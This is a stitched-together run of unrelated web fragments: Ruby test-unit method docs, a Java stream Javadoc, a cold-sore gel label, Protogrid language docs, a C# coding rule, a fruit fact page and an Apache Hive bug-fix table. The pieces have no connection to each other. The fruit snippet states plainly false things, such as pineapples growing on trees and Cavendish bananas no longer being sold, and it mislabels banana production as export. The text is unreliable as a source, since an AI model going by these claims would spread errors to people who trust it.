# File lib/test/unit/testcase.rb, line 519 def run(result) begin @_result = result @internal_data.test_started yield(STARTED, name) yield(STARTED_OBJECT, self) processed_exception_in_setup = false begin catch do |tag| run_setup do begin run_test run_cleanup add_pass rescue Exception @internal_data.interrupted unless handle_exception($!) processed_exception_in_setup = true raise end throw(tag) end end end rescue Exception if processed_exception_in_setup raise else @internal_data.interrupted raise unless handle_exception($!) end ensure begin run_teardown rescue Exception raise unless handle_exception($!) end end @internal_data.test_finished result.add_run yield(FINISHED, name) yield(FINISHED_OBJECT, self) ensure # @_result = nil # For test-spec's after_all :< end end
Called before every test method runs. Can be used to set up fixture information.
You can add additional setup tasks by the following code:
class TestMyClass < Test::Unit::TestCase def setup ... end setup def my_setup1 ... end setup do ... # setup callback1 end setup def my_setup2 ... end setup do ... # setup callback2 end def test_my_class ... end end
Here is a call order:
-
setup
-
my_setup1
-
setup callback1
-
my_setup2
-
setup callback2
-
test_my_class
# File lib/test/unit/testcase.rb, line 608 def setup end
# File lib/test/unit/testcase.rb, line 707 def size 1 end
Returns a Time at the test was started.
# File lib/test/unit/testcase.rb, line 766 def start_time @internal_data.start_time end
Called after every test method runs. Can be used to tear down fixture information.
You can add additional teardown tasks by the following code:
class TestMyClass < Test::Unit::TestCase def teardown ... end teardown def my_teardown1 ... end teardown do ... # teardown callback1 end teardown def my_teardown2 ... end teardown do ... # teardown callback2 end def test_my_class ... end end
Here is a call order:
-
test_my_class
-
teardown callback2
-
my_teardown2
-
teardown callback1
-
my_teardown1
-
teardown
# File lib/test/unit/testcase.rb, line 700 def teardown end
Overridden to return name
.
# File lib/test/unit/testcase.rb, line 753 def to_s name end
Private Instance Methods
# File lib/test/unit/testcase.rb, line 848 def add_assertion current_result.add_assertion end
# File lib/test/unit/testcase.rb, line 812 def current_result @_result end
# File lib/test/unit/testcase.rb, line 836 def handle_exception(exception) self.class.exception_handlers.each do |handler| if handler.respond_to?(:call) handled = handler.call(self, exception) else handled = __send__(handler, exception) end return true if handled end false end
# File lib/test/unit/testcase.rb, line 816 def run_test signature = "#{self.class}\##{@method_name}" redefined_info = self[:redefined] if redefined_info notify("<#{signature}> was redefined", :backtrace => redefined_info[:backtrace]) end if @internal_data.have_test_data? test_method = method(@method_name) arity = test_method.arity if arity.zero? __send__(@method_name) else __send__(@method_name, @internal_data.test_data) end else __send__(@method_name) end end


Blacksmith of Mammon:
Blacksmith of Mammon, have ventured deep underground in order to offer you the highest quality weapons.


public abstract class AsyncOutputStream
extends java.io.OutputStream
Flushing of data can be monitored asyncronously with Alarm object. e.g. byte[] data; long pos = os.getPosition(); os.write(data); Alarm a = os.createAlarm(pos + data.length, flushListener);
BufferMonitor
,
AsyncSocketImpl
| Constructor and Description |
|---|
AsyncOutputStream() |
| Modifier and Type | Method and Description |
|---|---|
abstract BufferMonitor |
createMonitor(long position,
MonitorListener flushListener)
Create an object that monitors for flush position of the output stream.
|
abstract long |
getFlushPosition()
Get the position of stream that has been flushed.
|
abstract long |
getPosition()
Get the position of the stream
|
abstract long |
getUnflushedBytes()
Get number of bytes remaining to be written
|
abstract void |
offer(java.nio.ByteBuffer buf)
Offers byte buffer to the output stream for write.
|
abstract void |
write(java.nio.ByteBuffer src)
Write to stream
|
abstract void |
write(java.nio.ByteBuffer src,
int length)
Write to stream
|
public abstract void write(java.nio.ByteBuffer src)
src
- public abstract void write(java.nio.ByteBuffer src, int length)
src
- length
- public abstract void offer(java.nio.ByteBuffer buf)
buf
- buffer to offerpublic abstract long getFlushPosition()
public abstract long getPosition()
public abstract long getUnflushedBytes()
public abstract BufferMonitor createMonitor(long position, MonitorListener flushListener)
position
- position to triggerflushListener
- alarm listener


Sarah's really really long name that can't fit on all two lines because it's so long
8,750yen
Sarah's really really long name that can't fit on all two lines because it's so long


This sample demonstrates the Nitobi Tree's ability to change the URL of a target frame in the page. Specifying a targetframe in the tree's XML declaration, and a url attribute on each node will result in a simple frame navigation system.
targetframe
url


Clarity lines geometric shapes!
Galanteya in the season autumn-winter 2018-2019. So it's time to remember the lessons of geometry, because that...
GALANTEYA in the season autumn-winter 2018-2019. So it's time to remember the lessons of geometry, because that on the shelves of
Copyright © 2019. Wordpress Avako. All rights reserved


ZILACTIN EARLY RELIEF COLD SORE
- benzyl alcohol gel
Blairex Laboratories, Inc.
Disclaimer: Most OTC drugs are not reviewed and approved by FDA, however they may be marketed if they comply with applicable regulations and policies. FDA has not evaluated whether this product complies.
Active ingredient
Benzyl alcohol 10%
Purpose
Cold sore/fever blister treatment, Oral pain reliever
Use
temporarily relieves pain caused by:
- cold sores/fever blisters
- canker sores, mouth sores
- gum irritations
Warnings
Flammable:
- keep away from fire or flame
Stop use and ask a physician if
- sore mouth symptoms do not improve in 7 days
- condition worsens or symptoms clear up and occur again within a few days
- swelling, rash or fever develops
- irritation, pain or redness persists or worsens
- apply only to affected area
- do not exceed recommended dosage
- avoid contact with the eyes
- do not use for more than 7 days unless directed by a physician or dentist
Keep out of reach of children. If swallowed, get medical help or contact a poison control center immediately.
Directions
adults and children 2 years and older
|
dry affected area. Apply with cotton swab or clean finger up to 4 times daily. Allow to dry 30-60 seconds.
|
| children under 12 years
|
adult supervision should be given in the use of this product
|
| children under 2 years
|
do not use, consult a physician or dentist
|
Other information
- do not peel off protective film. Attempting to peel off film may result in skin irritation or tenderness. To remove film, first apply another coat of Zilactin to film, and immediately wipe the area with a moist gauze pad or tissue.
- contains alcohol 68% by volume
- store at 15-30°C (59-86°F)
Inactive ingredients
boric acid, hydroxypropylcellulose, propylene glycol, purified water, salicylic acid, SD alcohol 37, tannic acid
Manufactured for: Blairex Laboratories, Inc. P.O. Box 2127 Columbus, IN 47202 USA
Questions or Comments?
Call TOLL FREE 1-800-252-4739
www.zilactin.com
PROMOTES HEALING
Cold Sore/Fever Blister/Oral Pain Treatment
Zilactin® Early Relief Cold Sore Gel
- Bioadhesive Promotes Healing
- Relieves Pain for up to 6 Hours
Net wt. 0.25 oz (7.1g)
Blairex Laboratories, Inc.


-
Apples are often red or green and they come from trees which can grow in size for several meters.
-
Bananas are usually yellow when ripe and brown spots form after that. There used to be Cavendish Bananas but they're not sold in supermarkets anymore.
-
Pineapples grow on trees in tropical places such as Florida and South America. They taste sweet on the inside and they're hard on the outside.
Top Banana-Producing Countries
| Country | Banana Export (Million tonnes) |
|---|---|
| India | 29 |
| Uganda | 11 |
| China | 10 |
| Philippines | 9 |
var i = 15;
Some links
Related articlesAbsent article
Warning: be careful not to make a mistake.
Bananas and Nematodes
Global banana production is affected by several species of nematode.
The burrowing nematode Radopholus similis and the lesion nematodes Pratylenchus spp. are considered as major constraints to banana cultivation worldwide.G. Loranger-Merciris, Y.-M. Cabidoche, B. Deloné, P. Quénéhervé, H. Ozier-Lafontaine, How earthworm activities affect banana plant response to nematodes parasitism, Applied Soil Ecology, Volume 52, January 2012, Pages 1-8, ISSN 0929-1393


Important Dates
- Proposal deadline: {{ '2019-04-04T00:00:00+3:30' | jdate: "%Y/%m/%e" }}
- Progress report deadline: {{ '2019-05-21T10:00:00+3:30' | jdate: "%Y/%m/%e" }}
- Progress report presentation: {{ '2019-05-21T10:00:00+3:30' | jdate: "%Y/%m/%e" }}
- Project presentation session: {{ '2019-07-16T10:00:00+3:30' | jdate: "%Y/%m/%e" }}
- Final report deadline: {{ '2019-07-19T10:00:00+3:30' | jdate: "%Y/%m/%e" }}
We have made our students' projects available; you can use them for inspiration or even contact the authors if you are interested.
Featured Projects
-
{% for proj in site.data.projects.featured_projects %}
-
{% if proj.thumbnail %}{% endif %}{{ proj.title }}
{{ proj.authors }}Abstract: {{ proj.abstract }}{% include project_links.html project=proj %}
{% endfor %}
Other Projects
-
{% for proj in site.data.projects.other_projects %}
-
{{ proj.title }}
{{ proj.authors }}{% include project_links.html project=proj %}
{% endfor %}


Rajasthan's beautiful Pink City Jaipur, was the stronghold of a clan of rulers whose three hill forts and series of palaces in the city areimportant attractions. Known as the Pink City because of the colour of the stone used exclusively in the walled city, Jaipur's bazaars sell embroidered leather shoes, blue pottery, tie etc.


Protogrid is a dynamically typed, prototype based programming language that runs on the JVM.
The project can be found on github at https://github.com/brweber2/protogrid
Why?
- It runs on the JVM
- It allows simple interop with Java
- It has a REPL
- You can have a prototype working in no time
Introduction
For users
Protogrid strives to be simple to write and read. Each form is intended to mean one thing so there should not be any confusion once you become familiar with the syntax. In many ways this one to one mapping of syntax and semantics has been a simplifying and limiting factor in the design of the language. This is especially true for developers who come to protogrid with pre-conceived notions from past experience.
- There is a single keyword ‘var’.
- nil, undefined, true and false are built in prototypes.
- In protogrid there is a single numeric type.
- Variable names cannot contain numbers.
- Parenthesis always indicate function application, even when there is no function to apply. For example, parenthesis used for changing or specifying order of operation precedence are strictly evaluated and the resulting value is left as the current context, but no function invocation actually takes place.
- Brackets indicate a function declaration.
- Braces indicate a scoped block.
- Single = denotes assignment.
For programming language enthusiasts
Unfortunately, there isn’t much here that will excite you. Protogrid introduces virtually no new programming paradigms, it merely strives to make the developer experience more enjoyable. The current form of Java interop is not something I’ve seen in any other language that runs on the JVM, but it is not something new or revolutionary. It is arguably a nicer reflection API. And yes, you will cringe if you look under the hood. The implementation is insanely naive and non-performant in every aspect imaginable.
Java Interop
To start interacting with the underlying Java platform, the first step is typically to wrap a Java class.
var JavaString = WrapClass( java.lang.String )
The JavaString prototype now is a wrapped Java class. It can be used in one of two ways.
- If invoked the arguments are used to determine which constructor should be called at runtime and if successful a wrapped instance is returned.
- Accessing a slot on the wrapped class will look for a field. If one is found a wrapped field is returned. If no field is found, a wrapped methods prototype is returned that wraps all the static methods on the class with the matching name. If this wrapped methods prototype is invoked it uses the arguments passed to it to determine at runtime which specific method should be invoked and a wrapped instance is returned with the result of the invocation.
var message = JavaString.format( "Hello %s", "World!" )
There are a few points of interest here. There is more than one static format method on java.lang.String. Additionally, the String “World!” is converted to an Object[] to support the variadic version of the format method used here.
A wrapped instance is a prototype that can be used with the protogrid, but that can be coerced back to its native Java type when necessary.
println( message.toUpperCase() )
What’s missing from the interop story?
Quite a bit. There is currently no way to implement an interface, to extend a class or to create a new interface or class.
Show me more!
Creating a new prototype
Simply clone an existing prototype
var MyProto = clone( Object )
Setting and accessing slots on the prototype is trivial
MyProto.foo = "barbaz"
println( MyProto.foo )
Inspecting the prototype
println( MyProto.slots() )
Viewing the AST
At any point, the built in ast function can be called to print out a readable form of the Abstract Syntax Tree if there is every any doubt about what the interpreter is seeing.
ast( 2 + 3 * 4 ^ 5 % 6 )
This will result in the following AST
( 2 + ( ( 3 * ( 4 ^ 5 ) ) % 6 ) )
Loading code from a file
When loading code from a file, any side effects will occur at load time and a scope object with all the top level definitions from the file will be returned. This can be assigned to a variable and values and functions can be accessed without worrying about collisions within the current scope.
Suppose we have a file located at src/hello_world.grid relative to the current directory with the following content.
var sayHelloTo = [name] { println( strf( "Hello %s" List(name) ) ) }
To load this file, simply call the built in load function.
var ns = load( "src/hello_world.grid" )
ns.sayHelloTo( "Flynn" )
If you do not want to namespace any particular functions it is possible to map them into the curent scope by simply assigning them to a variable.
var sayHelloTo = ns.sayHelloTo
Operators
Math + - * / % ^
Logic && ||
Comparison == != < <= > >=
Control Flow
There are built in functions for conditionals, looping, exceptions and exception handling.
Conditionals
if ( true println( "true" ) println( "false" ) )
if ( <cond> <true expr> <false expr> )
Looping
loop( <structure> <function> )
The function passed to loop must have two parameters, the value for each iteration and in the index number of the iteration (zero based).
while( <condition> <block> )
Exceptions
var err = error( "Uh oh" )
raise( err )
try ( <block> <finally-block> )
But what about catching the exceptions? A try block does not return the result of the block, it returns an object that contains a boolean indicating whether or not an exception was thrown and either the exception or the resultant value. It is therefore possible to access slots on the resultant prototype to perform whatever error handling is necessary.
var t = try( socket.write() socket.close() )
if ( t.hasError raise( t.error ) t.result )
Composite Data Structures
There are lists. There is a built in function to construct them and they can contain an object of any type. Lists are zero indexed for access operations.
var names = List( "Kevin", "Sam", "Quorra" )
println( names.get( 1 ) )
Because I have to…
Hello World
println( "Hello world!" )
Factorial
var fac = [n] {
if ( n == 0 || n == 1
1
n * recur( n - 1 ) )
}
In protogrid, recursion is achieved by calling the recur function instead of the current function by name.
Getting started
The best way to get started is to download the executable protogrid jar and start experimenting with the REPL. Syntax highlighting for IntelliJ IDEA and TextMate will be added to github in the very near future.
Down the road
- Syntax highlighting
- Compiled version
- Debugger
- Static typing
- Lazy evaluation
- Macros
- Named arguments
- Default values for parameters
- Richer Java interop
- De-structuring
- Targeting other platforms


This is a simple Kendo UI example project using static HTML, hitting a web service to generate random user profiles and dropping them into a grid. For fun, it supports querying multiple regions at once even though the underlying API does not (it combines results). It also pulls the supported regions from the API's github source instead of using a hardcoded list, so (theoretically) as the project is improved the list will stay up to date.


Use Task.Run instead of Task.Factory.StartNew
- Task.Factory.StartNew is considered dangerous and should only be used in very specific circumstances..
- The most common use-case is to specify TaskCreationOptions.LongRunning.In the current implementation of.NET this creates a new thread for your task, instead of running it on the threadpool.This could change between implementations / platforms, so should not be relied upon. Only do this if you have profiled your application and found it to be necessary.If you really need a new thread, consider Thread.Start.
Noncompliant Code Example
Task.Factory.StartNew(MyMethod, CancellationToken.None, TaskCreationOptions.DenyChildAttach, TaskScheduler.Default);
Compliant Code Example
Task.Run(() => MyMethod());


| HIVE-13932 |
Hive SMB Map Join with small set of LIMIT failed with NPE |
Major |
. |
Yongzhi Chen |
Yongzhi Chen |
| HIVE-13264 |
JDBC driver makes 2 Open Session Calls for every open session |
Major |
JDBC |
NITHIN MAHESH |
NITHIN MAHESH |
| HIVE-14022 |
left semi join should throw SemanticException if where clause contains columnname from right table |
Major |
. |
Jagruti Varia |
Jesus Camacho Rodriguez |
| HIVE-14034 |
Vectorization may fail with compex OR conditions |
Major |
. |
Takahiko Saito |
Sergey Shelukhin |
| HIVE-14031 |
cleanup metadataReader in OrcEncodedDataReader |
Minor |
ORC |
Rajesh Balamohan |
Rajesh Balamohan |
| HIVE-14003 |
queries running against llap hang at times - preemption issues |
Major |
llap |
Takahiko Saito |
Siddharth Seth |
| HIVE-14000 |
(ORC) Changing a numeric type column of a partitioned table to lower type set values to something other than 'NULL' |
Critical |
Hive, ORC |
Matt McCline |
Matt McCline |
| HIVE-14059 |
Missing license headers for two files |
Minor |
. |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-14024 |
setAllColumns is called incorrectly after some changes |
Major |
. |
Takahiko Saito |
Sergey Shelukhin |
| HIVE-14012 |
some ColumnVector-s are missing ensureSize |
Major |
. |
Takahiko Saito |
Sergey Shelukhin |
| HIVE-13809 |
Hybrid Grace Hash Join memory usage estimation didn't take into account the bloom filter size |
Major |
Hive |
Wei Zheng |
Wei Zheng |
| HIVE-13590 |
Kerberized HS2 with LDAP auth enabled fails in multi-domain LDAP case |
Major |
Authentication, Security |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-13985 |
ORC improvements for reducing the file system calls in task side |
Major |
ORC |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-13648 |
ORC Schema Evolution doesn't support same type conversion for VARCHAR, CHAR, or DECIMAL when maxLength or precision/scale is different |
Critical |
. |
Matt McCline |
Matt McCline |
| HIVE-14041 |
llap scripts add hadoop and other libraries from the machine local install to the daemon classpath |
Major |
llap |
Siddharth Seth |
Siddharth Seth |
| HIVE-14045 |
(Vectorization) Add missing case for BINARY in VectorizationContext.getNormalizedName method |
Major |
Hive |
Matt McCline |
Matt McCline |
| HIVE-14062 |
Changes from HIVE-13502 overwritten by HIVE-13566 |
Major |
Beeline |
Naveen Gangam |
Naveen Gangam |
| HIVE-13744 |
LLAP IO - add complex types support |
Major |
. |
Sergey Shelukhin |
Prasanth Jayachandran |
| HIVE-14071 |
HIVE-14014 breaks non-file outputs |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14055 |
directSql - getting the number of partitions is broken |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14076 |
Vectorization is not supported for datatype:VOID error while inserting data into specific columns |
Major |
. |
Jagruti Varia |
Jesus Camacho Rodriguez |
| HIVE-14079 |
Remove file, method and line number from pattern layout |
Major |
Logging |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-13725 |
ACID: Streaming API should synchronize calls when multiple threads use the same endpoint |
Critical |
HCatalog, Metastore, Transactions |
Vaibhav Gumashta |
Vaibhav Gumashta |
| HIVE-13991 |
Union All on view fail with no valid permission on underneath table |
Major |
Query Planning |
Yongzhi Chen |
Yongzhi Chen |
| HIVE-13997 |
Insert overwrite directory doesn't overwrite existing files |
Major |
Query Processor |
Rui Li |
Rui Li |
| HIVE-14092 |
Kryo exception when deserializing VectorFileSinkOperator |
Major |
Serializers/Deserializers |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-14073 |
update config whiltelist for sql std authorization |
Major |
Security, SQLStandardAuthorization |
Thejas M Nair |
Thejas M Nair |
| HIVE-14083 |
ALTER INDEX in Tez causes NullPointerException |
Minor |
. |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-14136 |
LLAP ZK SecretManager should resolve _HOST in principal |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14153 |
Beeline: beeline history doesn't work on Hive2 |
Major |
Beeline |
Vaibhav Gumashta |
Vaibhav Gumashta |
| HIVE-14072 |
QueryIds reused across different queries |
Critical |
. |
Siddharth Seth |
Sergey Shelukhin |
| HIVE-14122 |
VectorMapOperator: Missing update to AbstractMapOperator::numRows |
Critical |
Tez |
Gopal V |
Gopal V |
| HIVE-14140 |
LLAP: package codec jars |
Major |
. |
Takahiko Saito |
Sergey Shelukhin |
| HIVE-14163 |
LLAP: use different kerberized/unkerberized zk paths for registry |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14132 |
Don't fail config validation for removed configs |
Major |
Configuration |
Ashutosh Chauhan |
Ashutosh Chauhan |
| HIVE-14038 |
miscellaneous acid improvements |
Major |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14147 |
Hive PPD might remove predicates when they are defined as a simple expr e.g. WHERE 'a' |
Critical |
Logical Optimizer |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-14197 |
LLAP service driver precondition failure should include the values |
Major |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-13392 |
disable speculative execution for ACID Compactor |
Major |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14178 |
Hive::needsToCopy should reuse FileUtils::equalsFileSystem |
Major |
Hive |
Gopal V |
Gopal V |
| HIVE-14114 |
Ensure RecordWriter in streaming API is using the same UserGroupInformation as StreamingConnection |
Major |
HCatalog, Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14192 |
False positive error due to thrift |
Major |
Metastore, Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14176 |
CBO nesting windowing function within each other when merging Project operators |
Major |
CBO |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-14184 |
Adding test for limit pushdown in presence of grouping sets |
Major |
. |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-14173 |
NPE was thrown after enabling directsql in the middle of session |
Major |
Metastore |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-14027 |
NULL values produced by left outer join do not behave as NULL |
Major |
Query Processor |
Vaibhav Gumashta |
Jesus Camacho Rodriguez |
| HIVE-14175 |
Fix creating buckets without scheme information |
Major |
Query Processor |
Thomas Poepping |
Thomas Poepping |
| HIVE-13704 |
Don't call DistCp.execute() instead of DistCp.run() |
Critical |
Hive |
Harsh J |
Sergio Peña |
| HIVE-14188 |
LLAPIF: wrong user field is used from the token |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14218 |
LLAP: ACL validation fails if the user name is different from principal user name |
Major |
. |
Shraddha Sumit |
Sergey Shelukhin |
| HIVE-14111 |
better concurrency handling for TezSessionState - part I |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14210 |
ExecDriver should call jobclient.close() to trigger cleanup |
Major |
Hive, HiveServer2 |
Thomas Friedrich |
Thomas Friedrich |
| HIVE-14195 |
HiveMetaStoreClient getFunction() does not throw NoSuchObjectException |
Minor |
Metastore |
Peter Vary |
Peter Vary |
| HIVE-14152 |
datanucleus.autoStartMechanismMode should set to 'Ignored' to allow rolling downgrade |
Major |
Metastore |
Daniel Dai |
Thejas M Nair |
| HIVE-14223 |
beeline should look for jdbc standalone jar in dist/jdbc dir instead of dist/lib |
Major |
Beeline |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-14172 |
LLAP: force evict blocks by size to handle memory fragmentation |
Major |
. |
Nita Dembla |
Sergey Shelukhin |
| HIVE-14207 |
Strip HiveConf hidden params in webui conf |
Major |
Web UI |
Sushanth Sowmyan |
Sushanth Sowmyan |
| HIVE-14222 |
PTF: Operator initialization does not clean state |
Major |
PTF-Windowing |
Gopal V |
Wei Zheng |
| HIVE-11402 |
HS2 - add an option to disallow parallel query execution within a single Session |
Major |
HiveServer2 |
Thejas M Nair |
Sergey Shelukhin |
| HIVE-14144 |
Permanent functions are showing up in show functions, but describe says it doesn't exist |
Major |
. |
Rajat Khandelwal |
Rajat Khandelwal |
| HIVE-14004 |
Minor compaction produces ArrayIndexOutOfBoundsException: 7 in SchemaEvolution.getFileType |
Major |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14241 |
Acid clashes with ConfVars.HIVEFETCHTASKCONVERSION <> "none" |
Critical |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14253 |
Fix MinimrCliDriver test failure |
Major |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-14244 |
bucketmap right outer join query throws ArrayIndexOutOfBoundsException |
Major |
Physical Optimizer, Tez |
Jagruti Varia |
Zhiyuan Yang |
| HIVE-13191 |
DummyTable map joins mix up columns between tables |
Major |
. |
Gopal V |
Jesus Camacho Rodriguez |
| HIVE-14236 |
CTAS with UNION ALL puts the wrong stats in Tez |
Major |
. |
Pengcheng Xiong |
Pengcheng Xiong |
| HIVE-14265 |
Partial stats in Join operator may lead to data size estimate of 0 |
Major |
Statistics |
Nita Dembla |
Jesus Camacho Rodriguez |
| HIVE-13369 |
AcidUtils.getAcidState() is not paying attention toValidTxnList when choosing the "best" base file |
Blocker |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14262 |
Inherit writetype from partition WriteEntity for table WriteEntity |
Major |
. |
Thejas M Nair |
Thejas M Nair |
| HIVE-14242 |
Backport ORC-53 to Hive |
Major |
ORC |
Owen O'Malley |
Owen O'Malley |
| HIVE-14282 |
HCatLoader ToDate() exception with hive partition table ,partitioned by column of DATE datatype |
Major |
HCatalog |
Raghavender Rao Guruvannagari |
Daniel Dai |
| HIVE-14301 |
insert overwrite fails for nonpartitioned tables in s3 |
Minor |
Query Processor |
Rajesh Balamohan |
Rajesh Balamohan |
| HIVE-14292 |
ACID table creation fails on mysql with MySQLIntegrityConstraintViolationException |
Major |
Transactions |
Deepesh Khandelwal |
Eugene Koifman |
| HIVE-14268 |
INSERT-OVERWRITE is not generating an INSERT event during hive replication |
Major |
Hive |
Murali Ramasami |
Sushanth Sowmyan |
| HIVE-14267 |
HS2 open_operations metrics not decremented when an operation gets timed out |
Minor |
HiveServer2 |
David Karoly |
Naveen Gangam |
| HIVE-13934 |
Configure Tez to make nocondiional task size memory available for the Processor |
Major |
Hive |
Wei Zheng |
Wei Zheng |
| HIVE-14263 |
Log message when HS2 query is waiting on compile lock |
Major |
HiveServer2 |
Thejas M Nair |
Tao Li |
| HIVE-14214 |
ORC Schema Evolution and Predicate Push Down do not work together (no rows returned) |
Critical |
Hive |
Matt McCline |
Matt McCline |
| HIVE-14298 |
NPE could be thrown in HMS when an ExpressionTree could not be made from a filter |
Major |
Metastore |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-14311 |
No need to schedule Heartbeat task if the query doesn't require locks |
Major |
Transactions |
Wei Zheng |
Wei Zheng |
| HIVE-14308 |
While using column stats estimated data size may become 0 |
Major |
Physical Optimizer, Statistics |
Ashutosh Chauhan |
Jesus Camacho Rodriguez |
| HIVE-14297 |
OrcRecordUpdater floods logs trying to create _orc_acid_version file |
Major |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14326 |
Merging outer joins without conditions can lead to wrong results |
Critical |
Parser |
Jesus Camacho Rodriguez |
Jesus Camacho Rodriguez |
| HIVE-14324 |
ORC PPD for floats is broken |
Critical |
ORC |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-10022 |
Authorization checks for non existent file/directory should not be recursive |
Major |
Authorization |
Pankit Thapar |
Sushanth Sowmyan |
| HIVE-14330 |
fix LockHandle TxnHandler.acquireLock(String key) retry logic |
Critical |
Metastore, Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14339 |
Fix UT failure for acid_globallimit.q |
Major |
. |
Wei Zheng |
Wei Zheng |
| HIVE-14205 |
Hive doesn't support union type with AVRO file format |
Major |
Serializers/Deserializers |
Yibing Shi |
Yibing Shi |
| HIVE-14335 |
TaskDisplay's return value is not getting deserialized properly |
Major |
. |
Rajat Khandelwal |
Rajat Khandelwal |
| HIVE-14293 |
PerfLogger.openScopes should be transient |
Major |
. |
Daniel Dai |
Daniel Dai |
| HIVE-14338 |
Delete/Alter table calls failing with HiveAccessControlException |
Major |
. |
Pengcheng Xiong |
Pengcheng Xiong |
| HIVE-14332 |
Reduce logging from VectorMapOperator |
Critical |
Hive |
Matt McCline |
Matt McCline |
| HIVE-14310 |
ORC schema evolution should not completely disable PPD |
Critical |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-14349 |
Vectorization: LIKE should anchor the regexes |
Major |
UDF, Vectorization |
Gopal V |
Gopal V |
| HIVE-14359 |
Hive on Spark might fail in HS2 with LDAP authentication in a kerberized cluster |
Major |
. |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-14355 |
Schema evolution for ORC in llap is broken for int to string conversion |
Critical |
. |
Prasanth Jayachandran |
Prasanth Jayachandran |
| HIVE-14363 |
bucketmap inner join query fails due to NullPointerException in some cases |
Major |
. |
Jagruti Varia |
Hari Sankar Sivarama Subramaniyan |
| HIVE-14381 |
Handle null value in WindowingTableFunction.WindowingIterator.next() |
Major |
PTF-Windowing |
Wei Zheng |
Wei Zheng |
| HIVE-14357 |
TestDbTxnManager2#testLocksInSubquery failing in branch-2.1 |
Major |
. |
Rajat Khandelwal |
Sergey Shelukhin |
| HIVE-14322 |
Postgres db issues after Datanucleus 4.x upgrade |
Major |
. |
Thejas M Nair |
Sergey Shelukhin |
| HIVE-14366 |
Conversion of a Non-ACID table to an ACID table produces non-unique primary keys |
Blocker |
Transactions |
Saket Saurabh |
Saket Saurabh |
| HIVE-14350 |
Aborted txns cause false positive "Not enough history available..." msgs |
Critical |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14377 |
LLAP IO: issue with how estimate cache removes unneeded buffers |
Major |
. |
Gopal V |
Sergey Shelukhin |
| HIVE-14395 |
Add the missing data files to Avro union tests (HIVE-14205 addendum) |
Trivial |
Test |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-14400 |
Handle concurrent insert with dynamic partition |
Major |
Hive |
Wei Zheng |
Wei Zheng |
| HIVE-14403 |
LLAP node specific preemption will only preempt once on a node per AM |
Critical |
. |
Siddharth Seth |
Siddharth Seth |
| HIVE-14408 |
thread safety issue in fast hashtable |
Major |
. |
Takahiko Saito |
Sergey Shelukhin |
| HIVE-14397 |
Queries ran after reopening of tez session launches additional sessions |
Critical |
Tez |
Takahiko Saito |
Prasanth Jayachandran |
| HIVE-14414 |
Fix TestHiveMetaStoreTxns UTs |
Major |
Transactions |
Eugene Koifman |
Eugene Koifman |
| HIVE-14402 |
Vectorization: Fix Mapjoin overflow deserialization |
Major |
Vectorization |
Gopal V |
Gopal V |
| HIVE-14393 |
Tuple in list feature fails if there's only 1 tuple in the list |
Major |
Parser |
Carter Shanklin |
Pengcheng Xiong |
| HIVE-14424 |
Address CLIRestoreTest failure |
Major |
. |
Rajat Khandelwal |
Rajat Khandelwal |
| HIVE-14394 |
Reduce excessive INFO level logging |
Major |
. |
Sushanth Sowmyan |
Sushanth Sowmyan |
| HIVE-14447 |
Set HIVE_TRANSACTIONAL_TABLE_SCAN to the correct job conf for FetchOperator |
Major |
Hive, Transactions |
Wei Zheng |
Prasanth Jayachandran |
| HIVE-14245 |
NoClassDefFoundError when starting LLAP daemon |
Minor |
llap |
Rajesh Balamohan |
Rajesh Balamohan |
| HIVE-14399 |
Fix test flakiness of org.apache.hive.hcatalog.listener.TestDbNotificationListener.cleanupNotifs |
Major |
HCatalog |
Daniel Dai |
Daniel Dai |
| HIVE-14439 |
LlapTaskScheduler should try scheduling tasks when a node is disabled |
Major |
. |
Siddharth Seth |
Siddharth Seth |
| HIVE-14457 |
Partitions in encryption zone are still trashed though an exception is returned |
Major |
Encryption, Metastore |
Chaoyu Tang |
Chaoyu Tang |
| HIVE-14513 |
Enhance custom query feature in LDAP atn to support resultset of ldap groups |
Major |
HiveServer2 |
Naveen Gangam |
Naveen Gangam |
| HIVE-14342 |
Beeline output is garbled when executed from a remote shell |
Major |
Beeline |
Naveen Gangam |
Naveen Gangam |
| HIVE-14433 |
refactor LLAP plan cache avoidance and fix issue in merge processor |
Major |
. |
Sergey Shelukhin |
Sergey Shelukhin |
| HIVE-14479 |
Add some join tests for acid table |
Major |
Transactions |
Wei Zheng |
Wei Zheng |
| HIVE-14448 |
Queries with predicate fail when ETL split strategy is chosen for ACID tables |
Critical |
Transactions |
Saket Saurabh |
Matt McCline |
